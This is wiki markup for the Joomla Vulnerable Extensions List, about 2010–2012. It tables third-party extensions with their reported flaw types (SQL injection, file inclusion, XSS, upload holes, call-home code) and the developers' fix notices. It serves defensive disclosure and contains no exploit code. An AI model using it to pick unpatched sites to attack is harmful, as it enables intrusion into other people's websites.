|Developer states: no known exploits for our current versions [http://www.rockettheme.com/extensions-downloads/free/1012-rokmodule of RokModule Joomla 2.5 - v1.3 Joomla 1.5 - v1.4]
|-
|style="background:#cef2e0; color:black" |

== ICagenda ==
| SQLi
|developer [http://www.joomlic.com/en/extensions/icagenda security release] - v1.2.1
|080912
|-
|style="background:#cef2e0; color:black" |

== En Masse cart ==
|RFI
|060812
|Developer upgrade statement [http://www.matamko.com/news-update/14-en-masse-releases/142-announcement-for-security-release-enmasse-313.html to 3.1.3]
|-
|

== JCE (joomla content editor) ==
|Upload Restriction <2.2.4
|050812
|Developer states current version not exploitable
|-
|

== RSGallery2 ==
|SQLi XSS
| 31 07 12
|Devleoper statement versions 3.2.0 for Joomla 2.5 and version 2.3.0 for Joomla 1.5 [http://www.rsgallery2.nl/topicseen./announcements/rsgallery2_3.2.0_and_2.3.0_released_16845.msg44046.html released]
|-
|style="background:#cef2e0; color:black" |

== osproperty ==
|Unrestricted uploads
|160712
|Developer release [http://joomservices.com/components/ossolution-property.html version 2.0.3] 180712
|-
|style="background:#cef2e0; color:black" |

== KSAdvertiser ==
| RFI
|160712
|The security update version 1.5.72 advise can be found here:
[http://www.kiss-software.de/index.php?option=com_content&view=article&id=251:kiss-advertiser-sicherheitsupdate&catid=69&Itemid=361&lang=de German] [http://www.kiss-software.de/index.php?option=com_content&view=article&id=252:kiss-advertiser-security-update&catid=21&Itemid=362&lang=en English]
|-
|style="background:#cef2e0; color:black" |

== Shipping by State for Virtuemart ==
|elevated permissions (http://web-expert.gr/en)
|160612
| [http://web-expert.gr/en/commersial/virtuemart-shipping-by-state-component Upgrade to v2.5 download] commercial product 300612
|-
|style="background:red; color:white" |

== ownbiblio 1.5.3 ==
|SQLi +
|250512
|
|-
|

== Ninjaxplorer <=1.0.6 ==
|developer notification
|250412
|developer statement [http://ninjaforge.com/blog/318-security-vulnerability-discovered-in-ninjaxplorer-upgrade-immediately upgrade to 1.0.7]
|-
|style="background:#cef2e0; color:black" |

== Phoca Fav Icon ==
|Permissions Rewrite
|150412
| [http://www.phoca.cz/news/30-phoca-news/633-phoca-favicon-203-released developer update 2.0.3 statement]
|-
|style="background:#cef2e0; color:black" |

== estateagent improved ==
|sqli (eaimproved.eu)
|110412
|developer states previous version, not current version
|-
|

== bearleague ==
|110412
|sql
|(no longer maintained)
|-
|

== JLive! Chat v4.3.1 ==
|DT
|060412
|Developer reports [http://www.cmsfruit.com/security-measures.html as unproven]
|-
|style="background:#cef2e0; color:black" |

== virtuemart 2.0.2 ==
|SQLi
|050412
|developers [http://virtuemart.net/news/list-all-news/417-happy-easter-new-virtuemart-204-released-security-update-sqli release statement]Current version 2.0.6 released
|-
|

== JE testimonial ==
|SQLi
|230312
|Developer states '''malicious report.'''
|-
|style="background:#cef2e0; color:black" |

== JaggyBlog ==
|excessive file permission
|090212
|version 1.3.1 [http://www.jaggysnake.co.uk/products/jaggyblog released]
|-
|style="background:red; color:white" |

== Quickl Form ==
|xss
|260112
|
|-
|style="background:red; color:white" |

== com_advert ==
|sqli - unknown developer
|240112
|
|-
|style="background:#cef2e0; color:black" |

== Joomla Discussions Component ==
|sqli
|180112
|Discussions 1.4.1 released [http://www.codingfish.com/news/38-joomla/101-discussions-141-released developer statement]
|-
|style="background:#cef2e0; color:black" |

== HD Video Share (contushdvideoshare) ==
|sqli
|180112
|updated [http://www.hdvideoshare.net version 2.2]
|-
|style="background:#cef2e0; color:black" |

== Simple File Upload 1.3 ==
|RFI
|010112
| Developer update [http://wasen.net/index.php?option=com_content&view=article&id=64:simple-file-upload-download&catid=40:project-simple-file-upload&Itemid=59 statement] to 1.3.5
|-
|

== ==
|
|
|
|}<endFeed />

== January 2011 - Jan 2012 Reported Vulnerable Extensions ==

'''Please check with the extension publisher in case of any questions over the security of their product.'''
Report Vulnerable extensions either in the [[jforum:432]] security topic clearly marked with the first word in the title being ''Vulnerable Report'' where the security moderators or JSST team will respond or via email to the VEL team. For a guide to the [http://docs.joomla.org/Vulnerable_Extensions_List#Codes_used codes]
*If you are seeing this page on any site other than [http://docs.joomla.org/Vulnerable_Extensions_List the Offical Joomla Documentation] you may be seeing an out of date version or experiencing [http://en.wikipedia.org/wiki/Plagiarism plagiary] and the links may not work properly

{| class="wikitable sortable" border="1"
|-
! '''Extension'''
! class="unsortable"| '''Details'''
! '''Date Added'''
! class="unsortable" |'''Extension Update Link & Date'''
|-
|style="background:#cef2e0; color:black" |
== Simple File Upload 1.3 ==
|RFI
|010112
| Developer update [http://wasen.net/index.php?option=com_content&view=article&id=64:simple-file-upload-download&catid=40:project-simple-file-upload&Itemid=59 statement] to 1.3.5
|-
|style="background:red; color:white" |

== Dshop ==
|sqli (possibly dhrusya.com)
|201111
|
|-
|style="background:red; color:white" |

== QContacts 1.0.6 ==
|sqli
|131211
|
|-
|style="background:red; color:white" |

== Jobprofile 1.0 ==
| SQL Injection Vulnerability
|051211
|
|-
|style="background:red; color:white" |

== JX Finder 2.0.1 ==
| XSS Vulnerabilities
|011211
|

|-
|style="background:red; color:white" |

== wdbanners ==
|Unknown Exploit
|301111
|
|-
|
== JB Captify Content J1.5 and J1.7 ==
|Security checks missing -Versions prior to JB_mod_captifyContent_J1.5_J1.7_1.0.1.zip
|141111
|All extensions available on the [http://joomlabamboo.com site have been updated] and this potential security issue has been resolved.
|-
|

== JB Microblog ==
|Security checks missing - J1.7 only. Versions prior to 1.10.3
|14111
|All extensions available on the [joomlabamboo.com site have been updated] and this potential security issue has been resolved.
|-
|

== JB Slideshow <3.5.1, ==
|Security checks missing
|141111
|All extensions available on the [joomlabamboo.com site have been updated] and this potential security issue has been resolved.
|-
|

== JB Bamboobox ==
|Security checks missing - J1.5 all versions prior to 1.2.2
|141111
|All extensions available on the [joomlabamboo.com site have been updated] and this potential security issue has been resolved.
|-
|
== RokModule ==
|SQLI - exploits RokStock RokWeather RokNewspager
|121111
|developer release statement [http://www.rockettheme.com/blog/extensions/1300-important-security-vulnerability-fixed RokModule v1.3 for Joomla 1.7 RokModule v1.4 for Joomla 1.5]

|-
|style="background:#cef2e0; color:black" |

== hm community ==
|Multiple Vulnerabilities
|011111
|developer release [http://joomlaextensions.co.in/product/HM-Community 1.01]
|-
|style="background:#cef2e0; color:black" |

== Alameda ==
|SQLi
|01111
|developer statement [http://www.blueflyingfish.com/alameda/index.php?option=com_content&view=category&id=5&Itemid=28 and Latest version number v1.0.1.]
|-
|style="background:#cef2e0; color:black" |

== Techfolio 1.0 ==
|Techfolio 1.0 SQLI
|291011
|
|-
|style="background:#cef2e0; color:black" |

== Barter Sites 1.3 ==
|Barter Sites 1.3 SQL Injection & Persistent XSS vulnerabilities
|291011
|developer [http://my.barter-sites.com/index.php?option=com_content&view=article&id=6&Itemid=25 release 1.3.1]
|-
|style="background:#cef2e0; color:black" |

== Jeema SMS 3.2 ==
|Jeema SMS 3.2 Multiple Vulnerabilities
|291011
|developer resolution notice [http://jeema.net/about-us/securty-releases.html for 3.5.2]
|-
|style="background:red; color:white" |

== Vik Real Estate 1.0 ==
|Vik Real Estate 1.0 Multiple Blind SqlI
|291011
|
|-
|style="background:#cef2e0; color:black" |

== yj contact ==
|LFI (youjoomla contact)
|241011
|developer update statement [http://www.youjoomla.com/yj-contact-us-1.0.1-released.html 261011]

|-
|style="background:#cef2e0; color:black" |

== NoNumber Framework ==
| Advanced Module Manager * AdminBar Docker * Add to Menu * Articles Anywhere * What? Nothing!* Tooltips* Tabber* Sourcerer* Slider* Timed Styles* Modules Anywhere* Modalizer* ReReplacer* Snippets* DB Replacer* CustoMenu* Content Templater* CDN for Joomla!* Cache Cleaner* Better Preview
|181011
|see http://feeds.feedburner.com/nonumber/news for updates of various extensions
|-
|style="background:red; color:white" |

== Time Returns ==
|SQLi takeaweb.it
|151011
|No longer developed. New version 2.0.1 for Joomla 1.6/1.7 (old version are no longer supported) http://www.takeaweb.it
|-
|style="background:#cef2e0; color:black" |

== Simple File Upload ==
|LFI
|300811
|developer advice [http://wasen.net/index.php?option=com_content&view=article&id=64&Itemid=59 page]
|-
|style="background:#cef2e0; color:black" |

== Jumi ==
|LFI
|300811
|Developer states proper use of joomla administration/extension documentation reading
|-
|style="background:#cef2e0; color:black" |

== Joomla content editor ==
|JCE lfi/rfi vulnerability
|
|JCE 2.0.11 and JCE 1.5.7.14 [http://www.joomlacontenteditor.net/news/item/jce-2011-released have been released]

|-
|style="background:#cef2e0; color:black" |

== Google Website Optimizer ==
|Numerous vulnerabilities. Website Optimizer, Pearl Group
|290811
|developer update [http://www.pearl-group.com/optimizer-changelog statement to ver. 1.4.0]
|-
|style="background:#cef2e0; color:black" |

== Almond Classifieds ==
|777 Folder settings (all folders it uses are set to 777 including previously 755 locked folders)
|260811
|developer resolution [http://www.almondsoft.com/acj/ notice]
|-
|style="background:#cef2e0; color:black" |

== joomtouch ==
|LFI/RFI
|180811
|developers [http://www.joomtouch.com/ultime/4-risolta-la-vulnerabilita-di-joomtouch.html resolution notice 1.0.3]
|-
|style="background:#cef2e0; color:black" |

== RAXO All-mode PRO ==
|Timthumb RFI
|110811
|[http://raxo.org/forum/viewtopic.php?f=2&t=60#p2056 developer upgrade 1.5.0 statement]
|-
|style="background:#cef2e0; color:black" |

== V-portfolio ==
|DT - open folders
|110811
| [http://vsmart-extensions.com/index.php?option=com_content&view=article&id=61 developer resolution statement]
|-
|style="background:#cef2e0; color:black" |

== obSuggest ==
|LFI
|310711
|developer [http://foobla.com/news/latest/obsuggest-1.8-security-release.html release statement]
|-
|style="background:#cef2e0; color:black" |

== Simple Page ==
|LFI
|230711
|developer update [http://omar84.com/latest-news/65-simple-page-options-1517-security-release statement] v1.5.17 has been released
|-
|style="background:#cef2e0; color:black" |

== JE Story ==
|LFI
|230711
|[http://joomlaextensions.co.in/extensions/components/je-story-submit.html devloper security update] notice to ver 1.9
|-
|style="background:#cef2e0; color:black" |

== appointment booking pro ==
|LFI 22071
|
|[http://appointmentbookingpro.com/index.php?option=com_kunena&Itemid=66&func=view&catid=25&id=8129#8129 developer update security announcement] Current 2.0.1 and 1.4.x versions, are '''not''' vulnerable,
|-
|style="background:red; color:white" |

== acajoom ==
|xss (admin permission required)
|220711
|updated to 5.20
|-
|style="background:#cef2e0; color:black" |

== gTranslate ==
|ID -
|220711
|[http://edo.webmaster.am/gtranslate-changelog developer security release] 1.5 x.25 and 1.6 x.26.
|-
|style="background:red; color:white" |

== alpharegistration ==
|http://www.alphaplug.com/ Please contact the developer for any questions on this extension
|170711 220711
|
|-
|style="background:#cef2e0; color:black" |

== Jforce ==
|DT -
|170711
| [http://www.jforce.com/blog/270-jforce-security-release.html developer states The new version number v1.5r1362 resolves the problem]
|-
|style="background:#cef2e0; color:black" |

== Flash Magazine Deluxe Joomla ==
|ID [http://www.joomplace.com/joomla-components/flash-magazine-deluxe-component.html multiple vulnerabilities]
|170711
|[http://www.joomplace.com/news-blog/flashmagazine-deluxe-2-1-4-security-release.html developer release] 2.1.4
|-
|style="background:#cef2e0; color:black" |

== AVreloaded ==
|SQLi - version 1.2.6
|150711
|[http://allvideos.fritz-elfert.de/ 1.2.7 released developer release statement 160711]
|-
|style="background:#cef2e0; color:black" |
== Sobi ==
|SQLI -
|130711
|[http://www.sigsiu.net/changelog developer fix and update statement]
|-
|style="background:#cef2e0; color:black" |

== fabrik ==
|sqli
|120711
|[http://fabrikar.com/downloads/details/36/89 Developers Update statement 2.1]
|-
|

== xmap ==
|sqli 1.2.11
|120711
|upgrade to 1.2.12
|-
|style="background:#cef2e0; color:black" |

== Atomic Gallery ==
|Creates 777 folders [http://www.atomicon.nl/atomicongallery Atomic gallery]
|110711
|developer [http://www.atomicon.nl/atomicongallery#changelog release statement/changelog]
|-
|

== myApi ==
|ID [http://extensions.joomla.org/component/mtree/social-web/facebook-integration/11624 Contains "Call-Home" function. Sends private user information to developer.]
|020711
|[http://www.myapi.co.uk/ Developer states Use version 1.3.4.1]
|-
|style="background:red; color:white" |

== mdigg ==
|SQL I (not listed in JED)
|020711
|
|-
|style="background:#cef2e0; color:black" |

== Calc Builder ==
|sqli + ID
|180611
| [http://components.moonsoft.es/downloadcalcbuilder dev security release 0.0.2]
|-
|style="background:#cef2e0; color:black" |

== Cool Debate ==
|Cool Debate 1.03 LFI
|
| version [http://www.acoolsip.com/development/a-cool-debate.html 1.0.8 released.]
|-
|style="background:red; color:white" |

== ==
|
|
|
|-
|style="background:#cef2e0; color:black" |

== Scriptegrator Plugin 1.5.5==
|LFI
|140611
| [http://www.greatjoomla.com/news/index.html Update - Core Design Scriptegrator plugin 2.0.9 &] 1.5.6
|-
|style="background:#cef2e0; color:black" |

== Joomnik Gallery ==
|SQLi
|
|[http://joomlacode.org/gf/project/joomnik/ developer update to 0.9.1]
|-
|style="background:#cef2e0; color:black" |

== JMS fileseller ==
|LFI
|0611
|[http://joommasters.com/commercial-extensions/components/jms-fileseller.html developer upgrade announcement to v1.1]
|-
|style="background:#cef2e0; color:black" |

== sh404SEF ==
|low-level XSS security issue
|300511
|[http://dev.anything-digital.com/Forum/Announcements/11147-sh404SEF-2.2.6-now-available-for-Joomla-1.5/ Dev upgrade statement to 2.2.6]
|-
|style="background:#cef2e0; color:black" |

== JE Story submit ==
|LFI/RFI
|
|[http://joomlaextensions.co.in/extensions/modules/je-content-menu.html?page=shop.product_details&flypage=flypage.tpl&product_id=77&category_id=13&vmcchk=1 developer states Version 1.8]
|-
|style="background:red; color:white" |

== FCKeditor ==
|File Upload Vulnerability
|230511
|
|-
|style="background:red; color:white" |

== KeyCaptcha ==
|ID
|190511
|
|-
|style="background:red; color:white" |

== Ask A Question AddOn v1.1 ==
|SQLi
|160511
|
|-
|style="background:#cef2e0; color:black" |

== Global Flash Gallery ==
|flash-gallery.com xss
|130511
|[http://flash-gallery.com/help/joomla-extension/faq/security-update-0.5.0/ dev release 0.5.0 statement]
|-
|style="background:#cef2e0; color:black" |

== com_google ==
|LFI [http://freejoomlacomponent.appspot.com/ com_google]
|080511
|[http://freejoomlacomponent.appspot.com/securityrelease.html devs update to 1.5.1]
|-
|style="background:#cef2e0; color:black" |

== docman ==
|com-docman Input Validation Error
|160511
|[http://forum.joomla.org/viewtopic.php?p=2502904#p2502904 devs resolution statement, report for old version]
|-
|style="background:#cef2e0; color:black" |

== Newsletter Subscriber ==
|XSS
|120511
|[http://mavrosxristoforos.com/joomla-extensions/free/newsletter-subscriber Deveopler update]
|-
|style="background:#cef2e0; color:black" |

== Akeeba ==
|akkeba backup and joomlapack
|170411
|[https://www.akeebabackup.com/home/item/1091-akeeba-backup-3-2-7.html dev update to 3.2.7]
|-
|style="background:#cef2e0; color:black" |

== Facebook Graph Connect ==
|SID. call home device with user credentials
|120411
|[http://www.sikkimonline.info/security-notice dev update notice]
|-
|style="background:#cef2e0; color:black" |

== booklibrary ==
|SQLi ordasoft booklibrary
|180311
|[http://ordasoft.com/Book-Library/security-upgrade-instructions-for-book-library.html developer upgrade instructions]
|-
|style="background:red; color:white" |

== semantic ==
|com semantic http://www.scms.es/joomla creates hidden admin users
|150311
|
|-
|

== JOMSOCIAL 2.0.x 2.1.x ==
|SID, open folders
|120311
|
|-
|style="background:#cef2e0; color:black" |

== flexicontent ==
|forced 777, malicious files
|250311
|[http://www.flexicontent.org/home/item/192-flexicontent-154-is-finally-out.html devs resolve statement], [http://www.flexicontent.org/downloads/latest-version.html Changelog]
|-
|style="background:red; color:white" |

== jLabs Google Analytics Counter ==
|jLabs Google Analytics Counter SID
|
|
|-
|
== xcloner ==
|Unspecified
|260211
|[http://www.xcloner.com/xcloner-news/important-security-upgrade/ dev announcement of security release]
|-
|style="background:#cef2e0; color:black" |

== smartformer ==
|RFI
|230211 (repeat of 041110)
|[http://www.itoris.com/joomla-form-builder-smartformer.html v2.4.1 security fix for Joomla 1.5.x]
|-
|style="background:#cef2e0; color:black" |

== xmap 1.2.10 ==
|Malicious payload in zip
|230211
|[http://joomla.vargas.co.cr/en/news/4-xmap/95-security-notice developer resolution notic]e Clean version available from [http://joomlacode.org/gf/project/xmap/frs/ joomlacode]
|-
|style="background:#cef2e0; color:black" |

== Frontend-User-Access 3.4.1 ==
|Frontend-User-Access 3.4.1 from http://www.pages-and-items.com LFI
|030211
|update to [http://extensions.joomla.org/extensions/access-a-security/frontend-access-control/6874 Frontend-User-Access 3.4.2]
|-
|style="background:#cef2e0; color:black" |

== com properties 7134 ==
| http://com-property.com/ malicious files in script
|
|[http://joomlacode.org/gf/project/property/frs/?action=FrsReleaseBrowse&frs_package_id=5815 Dev update statement]

|-
|style="background:red; color:white" |

== B2 Portfolio ==
|B2 portfolio 1.0 SQLi pulseextensions.com
|250111
|
|-
|style="background:#cef2e0; color:black" |

== allcinevid ==
|SQLI http://extensions.joomla.org/extensions/multimedia/multimedia-players/video-players-a-gallery/15367
|220111
|[http://www.joomtraders.com/our-blog/allcinevid-1.0-sql-injection.html Developers resolution notice]
|-
|style="background:red; color:white" |

== People Component ==
|People component http://www.ptt-solution.com/vmchk/people-component.html sqli
|150111
|
|-
|style="background:red; color:white" |

== Jimtawl ==
|Jimtawl LFI
|251110
|

|-
|style="background:red; color:white" |

== Maian Media SILVER ==
|Maian Media SQLi
|151110
|Developer states unproven in free edition, paid/SILVER version is being upgraded. [http://www.aretimes.com/index.php?option=com_content&view=category&layout=blog&id=40&Itemid=113 dev article]
|-
|style="background:#cef2e0; color:black" |

== alfurqan ==
|alfurqan 1.5 sqli
|151110
|developer update [http://forums.islamis4u.com/index.php/topic%2c83.0.html statement]
|-
|style="background:#cef2e0; color:black" |

== ccboard ==
|[http://extensions.joomla.org/extensions/communication/forum/6823 ccboard XSS and SQLi]
|131110
| on my site at [http://codeclassic.org/component/content/article/1-latest-news/83-ccboard-13-released.html] Please find the respective update information

|-
|style="background:red; color:white" |

== ProDesk v 1.5 ==
|LFI
|091110
|

|-
|style="background:#cef2e0; color:black" |

== sponsorwall ==
|SQL injection pulseextensions.com
|011110
|developer [http://demo.pulseextensions.com/sponsor-wall.html resolution notice]
|-
|style="background:#cef2e0; color:black" |

== Flip wall ==
|SQL injection pulseextensions.com
|011110
| developer http://demo.pulseextensions.com/flip-wall.html update notice [http://www.example.com link title]
|-
|style="background:#cef2e0; color:black" |

== Freestyle FAQ 1.5.6 ==
|http://freestyle-joomla.com/fssdownloads/viewcategory/2 Freestyle FAQ 1.5.6 ‎SQL Injection
|
|[http://freestyle-joomla.com/index.php?announceid=43 new version (1.9.0) is available which fixes] the security issues.

|-
|style="background:red; color:white" |

== iJoomla Magazine 3.0.1 ==
|iJoomla Magazine 3.0.1 RFI
|090910
|
|-
|style="background:red; color:white" |

== Clantools ==
|
|http://www.joomla-clantools.de/downloads/doc_download/7-clantools-123.html clantool sqli
|090910
|
|-
|style="background:red; color:white" |

== jphone ==
|jphone LFI
|090910
|

|-
|style="background:#cef2e0; color:black" |
== PicSell ==
|[http://vm.xmlswf.com/index.php?option=com_content&view=article&id=104&Itemid=131Picsell LFD, 777]
|020910
|new version [http://vm.xmlswf.com/picsell released 150312] version number 11

|-
|style="background:red; color:white" |

== Zoom Portfolio ==
|SID
|020910
|
|-
|style="background:red; color:white" |

== zina ==
|[http://www.pancake.org/zina/ SQL Injection]
|020910
|
|-
|style="background:red; color:white" |

== Team's ==
|[http://www.joomlamo.com Teams extension] SQL Injection
|120810
|
|-
|style="background:red; color:white" |

== Amblog ==
|[http://robitbt.hu/jm/index.php?option=com_amdownloader&task=showfiles&pathid=8 Amblog] SQLi
|120810
|
|-
|style="background:red; color:white" |

== ==
|
|
|
|-
|
== ==
|
|
|
|-
|style="background:red; color:white" |

== wmtpic ==
|www.webmaster-tips.net various
|010710
|

|-
|style="background:red; color:white" |

== Jomtube ==
|http://www.jomtube.com/ SID
|220710
|
|
|-
|style="background:red; color:white" |

== Rapid Recipe ==
|http://www.rapid-source.com Persistent XSS Vulnerability last known fix version 1.7.2
|july 10,2010
|
|-
|style="background:red; color:white" |

== Health & Fitness Stats ==
|http://joomla-extensions.instantiate.co.uk/jcomponents/healthstats Persistent XSS Vulnerability july 10,2010
|
|
|-
|style="background:red; color:white" |

== staticxt ==
|http://extensions.joomla.org/extensions/edition/custom-code-in-content/2184 no version number provided
|
|

|-
|style="background:red; color:white" |

== quickfaq ==
|http://www.schlu.net sqli
|090710
|
|-
|style="background:red; color:white" |

== Minify4Joomla ==
|http://waltercedric.com/ LFI and xss
|090710
|No longer available to download
|-
|style="background:#cef2e0; color:black" |

== IXXO Cart ==
|http://www.php-shop-system.com/ SQLi LFI XSS Vulnerability
|
|developer resolution [http://support.ixxoglobal.com/index.php?/News/NewsItem/View/22/ixxo-cart-new-release-v41190 notice]

|-
|style="background:red; color:white" |

== PaymentsPlus ==
|http://paymentsplus.com.au/ 2.1.5 Blind SQL Injection Vulnerability
|090710
|current version 2.20, 2.1.5 not listed on dev site
|-
|style="background:red; color:white" |

== ArtForms ==
|http://joomlacode.org/gf/project/jartforms/ ArtForms 2.1b7.2 RC2 Multiple Remote Vulnerabilities
|090710
| Old beta extension

|-
|style="background:red; color:white" |

== autartimonial ==
|autartica.be Sqli Vulnerability
|060710
|

|-
|style="background:red; color:white" |

== eventcal 1.6.4 ==
|http://joomlacode.org/gf/project/eventcal/frs/ SQL I last update 2006-12-31 on joomlacode
|040710
|

|-
|style="background:red; color:white" |

== date converter ==
|http://sourceforge.net/projects/date-converter/ sqli
|010710
|

|-
|style="background:red; color:white" |

== real estate ==
|http://www.opensourcetechnologies.com/demos/real-estate.html RFI
|210610
|

|-
|style="background:red; color:white" |

== cinema ==
|SQL injection
|190610
|
|-
|style="background:red; color:white" |

== Jreservation ==
|http://jforjoomla.com/ SQLi Vulnerability
|190610
|

|-
|style="background:red; color:white" |

== joomdocs ==
|http://joomclan.com/index.php/JoomDocs/ xss vulnerability
|190610
|

|-
|style="background:red; color:white" |

== Live Chat ==
|http://www.joompolitan.com/livechat.html Multiple Remote Vulnerabilities
|190610
|
|-
|style="background:red; color:white" |

== Turtushout 0.11 ==
| http://www.turtus.org.ua/files?func=fileinfo&id=13 SQL Injection (again)
|190610
|
|-
|style="background:red; color:white" |

== BF Survey Pro Free ==
|BF Survey Pro Free SQL Injection Exploit
|190610
|Product marker as retired by the developer
|-
|style="background:red; color:white" |

== MisterEstate ==
|http://www.misterestate.com/ Blind SQL Injection Exploit
|190610
|
|-
|style="background:red; color:white" |

== RSMonials ==
|http://www.rswebsols.com/downloads/category/14-download-rsmonials-all?download=23%3Adownload-rsmonials-component XSS Exploit
|190610
|Believed to be 1.5.1 version

|-
|style="background:red; color:white" |

== Answers v2.3beta ==
|Multiple Vulnerabilities http://extensions.joomla.org/extensions/communication/forum/12652
|180610
|
|-
|style="background:red; color:white" |

== Gallery XML 1.1 ==
|Multiple Vulnerabilities
http://extensions.joomla.org/extensions/photos-a-images/photo-gallery/12504
|180610
|
|-
|style="background:red; color:white" |

== JFaq 1.2 ==
|JFaq 1.2 Multiple Vulnerabilities
|180610
|
|-
|style="background:red; color:white" |

== Listbingo 1.3 ==
|Multiple Vulnerabilities
http://extensions.joomla.org/extensions/ads-a-affiliates/classified-ads/12062
|180610
|

|-
|style="background:red; color:white" |

== Alpha User Points ==
|www.alphaplug.com LFI
|180610
|

|-
|style="background:red; color:white" |

== recruitmentmanager ==
|http://recruitment.focusdev.co.uk Upload Vulnerability
|130610
|
|-
|style="background:red; color:white" |

== Info Line (MT_ILine) ==
|http://extensions.joomla.org/extensions/news-display/news-tickers-a-scrollers/8425 reports of shell scripts in download file
|120610
|

|-
|style="background:red; color:white" |

== Ads manager Annonce ==
|http://joomla.clubnautiquemarine.fr/
Upload Vulnerability
| 05/06/10
|
|-
|style="background:red; color:white" |

== lead article ==
|http://www.leadya.co.il/ SQLi
|050610
|
|-
|style="background:red; color:white" |

== djartgallery ==
|http://www.design-joomla.eu Multiple Vul
|05/06/10
|
|-
|style="background:red; color:white" |

== Gallery 2 Bridge ==
|[http://trac.4theweb.nl/g2bridge g2bridge] LFI vulnerability
|
|
|-
|style="background:red; color:white" |

== jsjobs ==
|[http://www.joomsky.com jsjobs] SQL Injection Vulnerability
|
|
|-
|

== ==
|
|
|
|-
|style="background:red; color:white" |

== JE Poll ==
|http://slideshow.joomlaextensions.co.in/ SQL Injection Vulnerability
|
|

|-
|style="background:red; color:white" |

== MediQnA ==
|MediQnA LFI vulnerability version : v1.1
|
|
|-
|style="background:red; color:white" |

== JE Job ==
|http://joomlaextensions.co.in/ LFI SQLi
|
|

|-
|

== ==
|
|
|

|-
|style="background:red; color:white" |

== SectionEx ==
|Stack Ideas section Ex LFI
|
|
|-
|style="background:red; color:white" |

== ActiveHelper LiveHelp ==
|XSS in [http://extensions.joomla.org/extensions/communication/chat/12492 LiveHelp]
|200510
|

|-
|style="background:#cef2e0; color:black" |
== JE Quotation Form ==
|http://joomlaextensions.co.in/free-download/doc_download/11-je-quotation-form.html LFI
|
|developers statement of [http://joomlaextensions.co.in/extensions/joomla-components/product/JE-Quote-Form resolution] '''note''', now known as [http://joomlaextensions.co.in/extensions/joomla-components/product/JE-Quote-Form JE Quote Form]
|-
|style="background:red; color:white" |

== konsultasi ==
|SQL Injection Vulnerability
|
|

|-
|style="background:red; color:white" |

== Seber Cart ==
|Local File Disclosure Vulnerability
|
|[http://www.sebercart.com/index.php?option=com_content&view=article&id=158 Developer Update 140510]

|-
|style="background:red; color:white" |

== Camp26 Visitor ==
|RFI www.camp26.biz
|
|

|-
|style="background:red; color:white" |

== JE Property ==
|JE Property Finder Upload Vulnerability
|
|
|-
|style="background:red; color:white" |

== Noticeboard ==
|Noticeboard for Joomla "controller" Local File Inclusion Vulnerability
|
|
|-
|style="background:red; color:white" |

==SmartSite ==
|SmartSite com_smartsite Local File Inclusion Vulnerability
|
|

|-
|style="background:red; color:white" |

== htmlcoderhelper graphics ==
|htmlcoderhelper graphics v1.0.6 LFI Vulnerability
|
|
|-
|style="background:red; color:white" |

== Ultimate Portfolio ==
|Ultimate Portfolio Local File Inclusion Vulnerability
|
|

|-
|style="background:red; color:white" |

== Archery Scores ==
| [http://lispeltuut.org/ Archery Scores (com_archeryscores) v1.0.6 LFI Vulnerability]

|210410
|
|-
|style="background:red; color:white" |

== ZiMB Manager ==
|Joomla Component ZiMB Manager Local File Inclusion Vulnerability
|210410
|
|-
|style="background:red; color:white" |

== Matamko ==
|Matamko Local File Inclusion Vulnerability
|210410
|
|-
|style="background:red; color:white" |

== Multiple Root ==
|Multiple Root Local File Inclusion Vulnerability http://joomlacomponent.inetlanka.com/
|
|
|-
|style="background:red; color:white" |

== Multiple Map ==
|Multiple Map Local File Inclusion Vulnerability joomlacomponent.inetlanka.com
|
|
|-
|style="background:red; color:white" |

== Contact Us Draw Root Map ==
|Draw Root Map Local File Inclusion Vulnerability joomlacomponent.inetlanka.com
|
|
|-
|style="background:red; color:white" |

== iF surfALERT ==
|[http://www.inertialfate.za.net/ iF surfALERT] Local File Inclusion Vulnerability
|
|
|-
|style="background:red; color:white" |

== GBU FACEBOOK ==
|GBU FACEBOOK SQL injection vulnerability http://www.gbugrafici.nl/gbufacebook/
|
|
|-
|style="background:red; color:white" |

== jnewspaper ==
|jnewspaper (cid) SQL Injection Vulnerability
|
|

|-
|

== ==
|
|
|
|-
|style="background:red; color:white" |
== MT Fire Eagle ==

|LFI http://joomlacode.org/gf/project/jfireeagle/frs/ http://www.moto-treks.com
| 190410
| product considered retired and to be replaced by dev

|-
|style="background:red; color:white"|

== Sweetykeeper ==
|Sweetykeeper Local File Inclusion Vulnerability http://www.joomlacorner.com/
|120410
|
|-
|style="background:red; color:white"|

== jvehicles ==
|SQL Injection http://jvehicles.com
|120410
|
|-
|style="background:red; color:white"|

== worldrates ==
|http://dev.pucit.edu.pk/
|120410
|
|-
|style="background:red; color:white"|

== cvmaker ==
|http://dev.pucit.edu.pk/
|
|
|-
|style="background:red; color:white"|

== advertising ==
|http://dev.pucit.edu.pk/
|
|
|-
|style="background:red; color:white"|

== horoscope ==
|http://dev.pucit.edu.pk/
|120410
|
|-
|style="background:red; color:white"|

== webtv ==
|http://dev.pucit.edu.pk/
|120410
|
|-
|style="background:red; color:white"|

== diary ==
|http://dev.pucit.edu.pk/
|120410
|

|-
|style="background:red; color:white"|

== Memory Book ==
|http://dev.pucit.edu.pk/
|120410
|
|-
|style="background:red; color:white"|

== JprojectMan ==
|LFI http://extensions.joomla.org/extensions/communities-a-groupware/project-a-task-management/5676
|110410
|

|-
|style="background:red; color:white"|

== econtentsite ==
|LFI
|040410
|
|-
|style="background:red; color:white"|

== Jvehicles ==
|ID
|040410
|
|-
|

== ==
|
|
|-
|style="background:red; color:white"|

== gigcalender ==

|SQLi [http://extensions.joomla.org/extensions/calendars-a-events/events/97)http://extensions.joomla.org/extensions/calendars-a-events/events/97 gigcalender]
|13 march 2010
|
|-
|style="background:red; color:white"|

== heza content ==
|SQLi [http://extensions.joomla.org/extensions/structure-a-navigation/sections-a-categories/10427)http://extensions.joomla.org/extensions/structure-a-navigation/sections-a-categories/10427 heza content]
|13 march 2010
|

|-
|style="background:red; color:white" |

== SqlReport ==
|Sqlreport has a sql/RFI exploit. awaiting confirmation on exact developer.
|Feb 20
|'''Not Known'''

|-
|style="background:red; color:white" |

== Yelp ==
| SQLi - Unable to locate developer. Possibly a custom extension.
|Feb 01
|style="background:red; color:white" | ''' Not Known'''
|-

|-
|

== ==
|
|
|
|}<endFeed />

''This list is change protected, for updates or additions [http://forum.joomla.org/memberlist.php?mode=viewprofile&u=28000 Mandville] or [http://forum.joomla.org/memberlist.php?mode=viewprofile&u=87230 lafrance]
''

== Codes used ==
SQLi - SQL injection [http://en.wikipedia.org/wiki/Code_injection#SQL_injection wikipedia]

